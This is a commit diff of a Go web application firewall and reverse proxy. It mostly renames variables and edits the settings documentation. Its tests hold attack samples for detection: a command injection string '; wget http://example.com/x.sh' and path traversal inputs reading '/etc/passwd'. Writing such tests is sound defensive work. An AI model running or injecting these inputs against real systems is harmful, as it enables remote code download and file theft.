Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4be0b6e7fc |
No files matched your search
+5
-5
@@ -454,12 +454,13 @@ asked in the background (see "Answering in time" under "`waf`" in
|
||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
||||
never `off`.
|
||||
for `waf`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
||||
with a request when `waf` cannot be connected to, does not answer at all, or
|
||||
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
|
||||
@@ -472,12 +473,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
|
||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||
take to send its request line and headers. It then also bounds, from the end
|
||||
of the headers, the time until the app has been sent the whole request. A time
|
||||
in milliseconds or `off`.
|
||||
or `off`.
|
||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||
take, from the end of the request to its last byte reaching the visitor. An
|
||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||
do the status and headers of the app's answer. A time in milliseconds or
|
||||
`off`.
|
||||
do the status and headers of the app's answer. A time or `off`.
|
||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||
`:9000`.
|
||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||
|
||||
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
params := defaultParams()
|
||||
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
|
||||
// 3^13 hours, is not above it, and three times as long would not fit in
|
||||
// a time.Duration. The 15th is permanent.
|
||||
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
|
||||
// hours, is within the maximum, and three times as long would not fit
|
||||
// in a time.Duration. The 15th is permanent.
|
||||
params := defaultParams()
|
||||
params.LimitBanPermanentAbove = 100000 * day
|
||||
ledger := bans.New(params)
|
||||
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
wafBackendTimeout: "150",
|
||||
rproxyTimeout: "150",
|
||||
rproxyNoAnswer: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "waf:8080"},
|
||||
{wafBackend, "http://waf:8080/path"},
|
||||
{wafBackendTimeout, "0"},
|
||||
{wafBackendTimeout, "-1"},
|
||||
{wafBackendTimeout, off},
|
||||
{wafBackendTimeout, "2s"},
|
||||
{wafBackendTimeout, "1.25"},
|
||||
{wafBackendTimeout, "99999999999999999"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{rproxyNoAnswer, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
wafBackendTimeout + "_FILE": path,
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": path,
|
||||
})
|
||||
|
||||
want := wafBackendTimeout + "_FILE: cannot be read: "
|
||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
}
|
||||
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
|
||||
rproxyNoAnswer,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
|
||||
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
env environment
|
||||
paths []string
|
||||
limit int64
|
||||
env environment
|
||||
paths []string
|
||||
threshold int64
|
||||
}{
|
||||
{environment{}, []string{}, 30},
|
||||
{
|
||||
@@ -544,14 +544,14 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
|
||||
} {
|
||||
cfg := fromEnvironment(t, tc.env)
|
||||
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
|
||||
cfg.RefusalsLimitPerMinute != tc.limit {
|
||||
cfg.RefusalsLimitPerMinute != tc.threshold {
|
||||
t.Errorf(
|
||||
"%v gave %v and %d, want %v and %d",
|
||||
tc.env,
|
||||
cfg.TrapPaths,
|
||||
cfg.RefusalsLimitPerMinute,
|
||||
tc.paths,
|
||||
tc.limit,
|
||||
tc.threshold,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
|
||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyInspectionSize int64
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
// appsByHostname are the names of the apps each hostname serves, by
|
||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||
appsByHostname map[string][]string
|
||||
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
|
||||
|
||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' body inspection size, and with params'
|
||||
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||
// file is an error if it cannot be read or does not parse, or if
|
||||
// checkExclusions refuses it.
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyInspectionSize > 0 {
|
||||
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
}
|
||||
|
||||
return &CoreRuleSet{
|
||||
engine: engine,
|
||||
bodyInspectionSize: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
engine: engine,
|
||||
bodyLimit: params.BodyInspectionSize,
|
||||
appsByHostname: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||
// JSON and XML, which it reads only when they are no longer than that,
|
||||
// since they cannot be read in part.
|
||||
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||
// the error that ended the reading early, if one did.
|
||||
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
|
||||
// XML, which it reads only when they are no longer than that, since they
|
||||
// cannot be read in part.
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyInspectionSize == 0 {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
||||
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
||||
// Coraza holds what it reads of the body in memory, up to the
|
||||
// limit, so this cannot fail.
|
||||
_, _, _ = tx.WriteRequestBody(read)
|
||||
|
||||
@@ -1089,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1174,11 +1173,8 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -2314,9 +2310,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
|
||||
// read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2339,13 +2335,12 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -2419,7 +2414,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2432,20 +2427,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2455,7 +2450,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2475,10 +2470,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2535,7 +2530,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2855,7 +2850,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2873,7 +2868,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2886,10 +2881,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2899,7 +2891,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1],
|
||||
body[:bodyLimit+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2918,15 +2910,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyInspectionSize+1])
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2941,8 +2930,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
|
||||
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
|
||||
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {nextcloud},
|
||||
|
||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||
BodyInspectionSize: bodyLimit, Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range requests {
|
||||
|
||||
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
|
||||
+17
-19
@@ -13,15 +13,14 @@ const other = "other"
|
||||
|
||||
// busiest are the metrics by one thing the lookup finds of the client,
|
||||
// its country or its AS number, for requests whose client's is known.
|
||||
// The busiestCount busiest countries or AS numbers, by their requests
|
||||
// since the start, have series of their own, and the others are counted
|
||||
// under other, so that there are never more than busiestCount + 1 series.
|
||||
// One that drops out of the busiest loses its series, and its next
|
||||
// requests are counted under other; one that becomes one of them gets a
|
||||
// series that counts from then on. Each series therefore only ever goes
|
||||
// up.
|
||||
// The topN busiest countries or AS numbers, by their requests since the
|
||||
// start, have series of their own, and the others are counted under
|
||||
// other, so that there are never more than topN + 1 series. One that
|
||||
// drops out of the busiest loses its series, and its next requests are
|
||||
// counted under other; one that becomes one of them gets a series that
|
||||
// counts from then on. Each series therefore only ever goes up.
|
||||
type busiest struct {
|
||||
busiestCount int
|
||||
topN int
|
||||
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
@@ -39,9 +38,9 @@ type busiest struct {
|
||||
}
|
||||
|
||||
// newCountries returns the metrics by country, with series of their own
|
||||
// for the busiestCount busiest countries.
|
||||
func newCountries(busiestCount int) *busiest {
|
||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec(
|
||||
"sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
||||
}
|
||||
|
||||
// newASNs returns the metrics by AS number, with series of their own for
|
||||
// the busiestCount busiest AS numbers.
|
||||
func newASNs(busiestCount int) *busiest {
|
||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||
// the topN busiest AS numbers.
|
||||
func newASNs(topN int) *busiest {
|
||||
return newBusiest(topN, "asn", "the client's AS number")
|
||||
}
|
||||
|
||||
// newBusiest returns the metrics by label, which is described as
|
||||
// description, with series of their own for the busiestCount busiest
|
||||
// values.
|
||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||
// description, with series of their own for the topN busiest values.
|
||||
func newBusiest(topN int, label, description string) *busiest {
|
||||
by := []string{label}
|
||||
|
||||
return &busiest{
|
||||
busiestCount: busiestCount,
|
||||
topN: topN,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
if len(b.top) < b.busiestCount {
|
||||
if len(b.top) < b.topN {
|
||||
b.top[value] = true
|
||||
|
||||
return value
|
||||
|
||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
||||
}
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// busiestCount is how many countries and how many AS numbers get series of
|
||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
|
||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(busiestCount int, instanceName string) *Metrics {
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
byStatus := []string{"status_class", "action"}
|
||||
byFile := []string{"file"}
|
||||
registry := prometheus.NewRegistry()
|
||||
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
"and the rule's id.",
|
||||
[]string{"mode", "rule_id"},
|
||||
),
|
||||
countries: newCountries(busiestCount),
|
||||
asns: newASNs(busiestCount),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
|
||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than limit, which breaks
|
||||
// the refusal limit, and the hit.
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
// breaks the refusal limit, and the hit.
|
||||
func (l *Limiter) CountRefusal(
|
||||
client netip.Prefix, now time.Time, limit int64,
|
||||
client netip.Prefix, now time.Time, threshold int64,
|
||||
) (Hit, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
||||
hit := Hit{
|
||||
Kind: KindRefusals,
|
||||
Window: "minute",
|
||||
Limit: limit,
|
||||
Limit: threshold,
|
||||
Count: count,
|
||||
}
|
||||
|
||||
return hit, count > float64(limit)
|
||||
return hit, count > float64(threshold)
|
||||
}
|
||||
|
||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||
}
|
||||
|
||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
@@ -363,7 +363,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
for range limit {
|
||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||
t.Fatalf(
|
||||
"a refusal within the limit of %d broke the refusal limit",
|
||||
"a refusal within the threshold of %d broke the refusal limit",
|
||||
limit,
|
||||
)
|
||||
}
|
||||
@@ -376,7 +376,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
if !over || hit != want {
|
||||
t.Errorf(
|
||||
"one over the limit broke it: %t, with %+v; want %+v",
|
||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||
over,
|
||||
hit,
|
||||
want,
|
||||
@@ -384,7 +384,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
}
|
||||
|
||||
// Half a minute into the next, half of those four still count, 2, and
|
||||
// this one: 3, within the limit.
|
||||
// this one: 3, within the threshold.
|
||||
hit, over = limiter.CountRefusal(
|
||||
client,
|
||||
start.Add(time.Minute+time.Minute/2),
|
||||
|
||||
@@ -62,9 +62,9 @@ type Params struct {
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// BufferLines is the most lines held while they wait to be sent
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
BufferLines int
|
||||
Buffer int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
||||
// id and the structured data have no value.
|
||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||
records: make(chan []byte, params.BufferLines),
|
||||
records: make(chan []byte, params.Buffer),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||
endpoint := listen(t)
|
||||
